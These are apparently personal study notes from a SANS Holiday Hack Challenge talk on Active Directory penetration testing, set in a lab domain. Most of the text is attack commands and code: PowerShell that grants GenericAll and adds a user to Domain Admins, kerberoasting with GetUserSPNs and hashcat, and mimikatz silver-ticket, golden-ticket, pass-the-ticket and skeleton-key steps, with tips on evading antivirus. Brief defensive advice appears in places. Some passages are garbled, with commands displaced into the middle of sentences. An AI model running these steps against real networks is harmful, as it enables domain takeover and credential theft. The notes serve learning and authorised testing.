Kerberoasting & Other AD Pentesting Processes¶
This is essentially just notes taken as a result of listening to informative SANS Holiday Hack Challenge 2021 speaker, Chris Davis on Active Directory Penetration Testing and then venturing down the rabbit hole to learn more. The video is a great introduction, but these notes also include take-aways from some of other videos Chris mentioned, including one by Tim Medin that's linked below in "Kerberoasting Tools." All very informative info.
Tools¶
Bloodhound
Bloodhound Intro How-To video by Conda
Sharphound (PowerShell)
Sharphound (C#)
Kerberoasting Tools
Kerberoasting Talk by Tim Medin
C# Kerberoasting Tool Rubeus
Invoke-Kerberoast (PowerShell)
GetUserSPNs.py by impacket (Python)
Hashcat
PowerView/PowerSploit
Custom Code Snippets from Chris
Code Snippets
You can read the DACL of an AD group object using:
# Can Use Powerview: https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
# Or:
$ADSI = [ADSI]"LDAP://CN=Domain Admins,CN=Users,DC=vulns,DC=local"
$ADSI.psbase.ObjectSecurity.GetAccessRules($true,$true,[Security.Principal.NTAccount])
# Or:
$ldapConnString = "LDAP://CN=Domain Admins,CN=Users,DC=vulns,DC=local"
$domainDirEntry = New-Object System.DirectoryServices.DirectoryEntry $ldapConnString
$domainDirEntry.get_ObjectSecurity().Access
Add-Type -AssemblyName System.DirectoryServices
$ldapConnString = "LDAP://CN=Domain Admins,CN=Users,DC=vulns,DC=local"
$username = "chrisd"
$nullGUID = [guid]'00000000-0000-0000-0000-000000000000'
$propGUID = [guid]'00000000-0000-0000-0000-000000000000'
$IdentityReference = (New-Object System.Security.Principal.NTAccount("vulns.local\$username")).Translate([System.Security.Principal.SecurityIdentifier])
$inheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance]::None
$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityReference, ([System.DirectoryServices.ActiveDirectoryRights] "GenericAll"), ([System.Security.AccessControl.AccessControlType] "Allow"), $propGUID, $inheritanceType, $nullGUID
$domainDirEntry = New-Object System.DirectoryServices.DirectoryEntry $ldapConnString
$secOptions = $domainDirEntry.get_Options()
$secOptions.SecurityMasks = [System.DirectoryServices.SecurityMasks]::Dacl
$domainDirEntry.RefreshCache()
$domainDirEntry.get_ObjectSecurity().AddAccessRule($ACE)
$domainDirEntry.CommitChanges()
$domainDirEntry.dispose()
Add-Type -AssemblyName System.DirectoryServices
$ldapConnString = "LDAP://CN=Domain Admins,CN=Users,DC=vulns,DC=local"
$username = "chrisd"
$password = "Password!@12"
$domainDirEntry = New-Object System.DirectoryServices.DirectoryEntry $ldapConnString, $username, $password
$user = New-Object System.Security.Principal.NTAccount("vulns.local\$username")
$sid=$user.Translate([System.Security.Principal.SecurityIdentifier])
$b=New-Object byte[] $sid.BinaryLength
$sid.GetBinaryForm($b,0)
$hexSID=[BitConverter]::ToString($b).Replace('-','')
$domainDirEntry.Add("LDAP://<SID=$hexSID>")
$domainDirEntry.CommitChanges()
$domainDirEntry.dispose()
$password = ConvertTo-SecureString "Password!@12" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential -ArgumentList ("vulns.local\chrisd", $password)
Enter-PSSession -ComputerName WIN-4JFNT305Q5J.vulns.local -Credential $creds -Authentication Negotiate
Additional Commands Used During Talk
Invoke-BloodHound -CollectionMethod All
py -3 GetUserSPNs.py -outputfile spns.txt -dc-ip 10.128.96.101 vulns.local/chrisd:'Password!@12' -request
.\hashcat.exe -m 13100 -a 0 .\spns.txt --potfile-disable -r .\rules\best64.rule --force -O -w 4 --opencl-device-types 1,2 .\rockyou.txt
runas /noprofile /user:vulns_svc@vulns.local cmd
echo $env:LOGONSERVER
echo %LOGONSERVER%
net view \\WIN-4JFNT305Q5J
runas /noprofile /user:remote_employee@vulns.local cmd
Additional Resources
Sean Metcalf https://adsecurity.org/p?=2293 https://adsecurity.org/p?=2011
Background¶
When providing penetration testing, the hiring entity will sometimes provide you with a low-level user account for testing purposes to see if you are able to access areas to which you should not have access. So in this scenario, we start with a basic user account.
The process will utilize both the Windows VM used to connect to the corporate system and a Kali Linux VM for accessing tools that are unlikely to be on the corporate system.
Environment¶
gci env:USERDNSDOMAIN
Tools Added to the low-level user account's Home Directory for Pentest¶
- SharpHound.ps1
- GetUserSPNs.py
- Invoke-Kerberoast.ps1 (not used in this demo, but an option)
BloodHound - SharpHound¶
Endpoint Security
If your system has good endpoint security, you will need to modify and recompile SharpHound to avoid AV detection.
In PowerShell:
Import-Module ./SharpHound.ps1
Invoke-Bloodhound -CollectionMethod All
In Kali:¶
Open the zipfiles in BloodHound Prebuilt Query: Shortest Path to Domain Admins for Kerberoasting Users Clicking this runs the query and displays the users connected to Domain Admins and their relevent permissions. WriteDacl would be a permission that would be helpful so if we right-click on WriteDacl, we can then click Abuse Info for a step-by-step process for how to abuse it to get to Domain Admins.
Next, we need to find a list of kerberoastable accounts to see how we can get to the user who has the WriteDacl permissions. Prebuilt Query: List All Kerberoastable Accounts Running this query provides us with our account(s) for the next step back on the Windows VM.
Kerberoasting for Escalation and Pivoting¶
Requirement: Access as any user.¶
- User accounts are crackable, computer accounts have too much entropy so we only want user accounts. Tools like Rubeus and GetUserSPNs.py will pull just the user accounts. Before we can do that though, we need to know the domain controller information:
And then let's have a look at the shares:
echo $env:LOGONSERVER
Now that we know the DC and we have an idea of which shares might be useful, we can move on to the actual kerberoasting by running the following script to request tickets:net view \\BASGIATH
Option 1: impacket tool GetUserSPNs.py¶
GetUserSPNs.py --outputfile krb.hash --dc-ip 10.10.10.2 basgiath.local/jesinia:Scr1beForever
Description of Command
"Run the GetUserSPNs script on the domain controller 10.10.10.2 for the network basgiath.local with the username and password of jesinia:Scr1beForever and put the results into a file called krb.hash. This does assume that python is present on the computer.
- Tickets can be requested from the domain controller so long as the SPN mapping exists. This means that the servers for which the tickets are intended do not even need to be on in order to request the tickets. It is the domain controller issuing the tickets, not the respective servers.
Defending Against Kerberoasting
Monitoring. Look for atypical or too many ticket requests.
Use Honey Tickets
A good password policy that makes passwords harder to crack.
Option 2: Rubeus¶
Option 3: Invoke-Kerberoast.ps1¶
Option 4: Convert py script to .exe¶
Hashcat¶
Note
When you don't have OpenCL, use option --force
hashcat --force -m 13100 -a 0 krb.hash passwords.txt
Silver Ticket for Persistence and Escalation¶
Requirement: Service hash.¶
Now we can generate the hash in order to sign tickets. This bypasses the KDC (key distribution center) for a TGS (ticket granting service). This forged ticket is known as a Silver Ticket - you can only target this specific service account.
Mimikatz¶
- Obtain the user's SID.
This indicates jesinia's RID is 1001.
whoami /user
- Lets get the SIDs of the user accounts on the domain to narrow down the user who has webserver1 access:
wmic useraccount get sid,name
- Run mimikatz
mimikatz.exe
- Within mimikatz
The RID in the command belongs to user markham, a user that has access to the webserver. Also, jesinia's account does not have any admin permissions. This command can be executed without elevated privileges. Execution loads the information into memory.
kerberos::golden /domain:basgiath.local /sid:S-1-5-21-123456789-123456789-098765432 /target:webserver1 /rc4:<passwordhash> /ptt /groups:504 /id:1009 /user:jesinia
-
Attempt to authenticate into the webserver as jesinia and boom, it let's jesinia in even though prior to this, jesinia did not have access. The system knows that jesinia is the user who logged in, but it also recognizes that the RID that logged in was markham's. This process, however, did not give jesinia admin rights.
-
To clear all the tickets from memory:
If we need admin access, we can modify the previous mimikatz command to include the admin group number(s) and use jesinia's RID:klist purge
This gives jesinia admin access. Note: the RID and user do not have to be real; you can put in whatever numbers and names you are comfortable with showing up in the logs. In fact, the username could end up being a SQLi opportunity if it were to be something like /user:"select * frommimikatz # kerberos::golden /domain:basgiath.local /sid:S-1-5-21-123456789-123456789-098765432 /target:webserver1 /rc4:<passwordhash> /ptt /groups:504,501,502,503 /id:1001 /user:jesinia
"
Defending Against Silver Ticket
Monitoring: Missing TGS-REQ
Pass-the-Ticket for Pivoting¶
Requirement: Access as user.¶
Reuse a ticket that's already been generated on a compromised system.
1. Start mimikatz
mimikatz.exe
kerberos::tgt
kerberos::list /export
kerberos::list
kerberos::ptt 0-40e100000-Administrator@krbtgt....
psexec \\DC01 cmd.exe
whoami
<domain>\Administrator
8. Whodat
echo %COMPUTERNAME%
Skeleton Key¶
A persistence attack that "unlocks" all systems in a domain. Only works for Kerberos RC4 encryption.
1. mimikatz.exe
2. privilege::debug
3. misc::skeleton
Note: You need to change the password hash and recompile the tool to change that default password so that it is NOT "mimikatz." #OPSEC Also, make sure you restart after to wipe memory so that the skeleton key doesn't stay in memory after a pentest.¶
Golden Ticket for Persistence & Pivoting¶
Requirement: Compromised entire domain.¶
Instead of generating the hash in order to sign tickets once we have the password, we can instead send the encrypted krbtgt hash to the KDC/DC for our TGS-REQ to get a ticket for service. This bypasses the initial need to request the TGT from the KDC/DC and allows us to request tickets for all services. The difference in the command is that the password hash is for the krbtgt rather than the service ticket:
mimikatz # kerberos::golden /domain:basgiath.local /sid:S-1-5-21-123456789-123456789-098765432 /target:webserver1 /rc4:<krbtgtpasswordhash> /ptt /groups:504,501,502,503 /id:1001 /user:jesinia
Responding to this Compromise
Defenders have to rotate the krbtgt account password twice, but not too quickly or risk breaking domain.
Defending Against Golden Ticket
Monitoring.